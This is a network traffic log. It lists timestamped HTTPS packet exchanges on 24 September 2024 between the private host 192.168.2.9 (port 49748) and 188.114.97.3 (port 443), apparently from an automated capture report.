Sep 24, 2024 06:29:56.724766970 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.724812031 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.724936008 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.724936962 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.724945068 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.725042105 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.756100893 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.756177902 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.756231070 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.756251097 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.756298065 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.756334066 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.756334066 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.756349087 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.756973982 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.757021904 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.757082939 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.757106066 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.757133961 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.757436991 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.757478952 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.757507086 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.757514954 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.757564068 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.757564068 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.758289099 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.758363962 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.758423090 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.758423090 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.758446932 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.758483887 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.762826920 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.762875080 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.763020992 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.763020992 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.763040066 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.765414953 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.814444065 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.814498901 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.814604998 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.814635992 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.814661980 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.814907074 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.814949036 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.814974070 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.814982891 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.815195084 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.815195084 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.815488100 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.815531969 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.815603018 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.815603018 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.815612078 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.815629005 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.815655947 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.815663099 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.815692902 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.815851927 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.815856934 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.849030972 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.849072933 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.849174023 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.849198103 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.849215031 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.849244118 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.849288940 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.849297047 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.849426985 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.849468946 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.849505901 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.849515915 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.849565029 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.849839926 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.849886894 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.850043058 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.850054979 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.857945919 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.858017921 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.858131886 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.858131886 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.858143091 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.884985924 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.885083914 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.885416031 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.885416031 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.885431051 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.905073881 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.905201912 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.905211926 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.905265093 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.905607939 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.905648947 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.905675888 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.905683994 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.905725002 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.905812025 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.906186104 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.906228065 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.906301022 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.906315088 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.906354904 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.909809113 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.938421965 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.938482046 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.938555002 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.938577890 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.938611031 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.939827919 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.939886093 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.939954996 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.939954996 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.939966917 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.940047026 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.940180063 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.940222025 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.940294027 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.940294027 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.940304041 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.940361023 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.940691948 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.940735102 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.940766096 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.940773964 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.940835953 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.940836906 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.949060917 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.949119091 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.949261904 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.949261904 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.949276924 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.949417114 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.995615005 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.995636940 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.995683908 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.995695114 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.995709896 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.995765924 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.996032953 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.996051073 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.996124983 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.996133089 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.996218920 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.996503115 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.996520042 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.996587992 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.996594906 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.996747971 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.029053926 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.029170990 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.029270887 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.029270887 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.029295921 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.029366016 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.030829906 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.030881882 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.030951977 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.030951977 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.030967951 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.031205893 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.031218052 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.031233072 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.031265974 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.031322002 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.031322002 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.031331062 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.031413078 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.031665087 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.031707048 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.031784058 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.031784058 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.031793118 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.031872988 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.039422035 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.039478064 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.039535999 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.039535999 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.039547920 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.039597988 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.086335897 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.086360931 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.086394072 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.086503983 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.086503983 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.086517096 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.086896896 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.086915970 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.087004900 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.087004900 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.087013006 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.087074041 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.087120056 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.087198019 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.087198019 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.087208033 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.087317944 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.087404013 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.087419033 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.120893955 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.120919943 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.121010065 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.121010065 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.121042013 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.121273041 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.121289015 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.121426105 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.121438026 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.121772051 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.121792078 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.121870995 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.121870995 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.121882915 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.129801035 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.129820108 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.130053997 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.130074978 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.171917915 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.172863007 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.172885895 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.172972918 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.172985077 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.173039913 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.173039913 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.182873964 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.182895899 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.183103085 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.183136940 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.183286905 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.183731079 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.183748960 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.183792114 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.183831930 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.183856010 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.183856010 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.183875084 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.183938026 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.211349010 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.211376905 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.211467028 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.211481094 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.211656094 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.211874962 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.211898088 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.211961031 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.211961031 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.211971998 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.212594032 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.212611914 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.212668896 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.212685108 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.212748051 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.220285892 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.220312119 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.220396996 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.220396996 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.220407963 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.263472080 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.263506889 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.263592005 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.263612032 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.263623953 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.263649940 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.263760090 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.263766050 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.263807058 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.273483992 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.273539066 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.273633003 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.273648024 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.273684978 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.273864031 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.273938894 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.274005890 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.274013996 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.274046898 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.274091005 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.274164915 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.274207115 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.274255037 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.274261951 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.274327993 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.274327993 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.302172899 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.302218914 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.302350998 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.302350998 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.302362919 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.302551031 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.302602053 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.302614927 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.302628994 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.302687883 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.302687883 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.303086996 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.303164959 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.303174019 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.303195000 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.303236961 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.303236961 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.311242104 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.311288118 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.311403036 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.311419010 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.311438084 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.313854933 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.354096889 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.354150057 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.354240894 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.354260921 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.354279995 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.357430935 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.364072084 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.364092112 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.364196062 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.364219904 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.364269972 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.364732027 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.364777088 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.364795923 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.364818096 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.364854097 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.364854097 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.365040064 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.365118980 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.365145922 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.365211964 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.392337084 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.392358065 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.392527103 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.392548084 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.392604113 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.392952919 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.392987013 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.393059015 CEST	49748	443	192.168.2.9	188.114.97.3
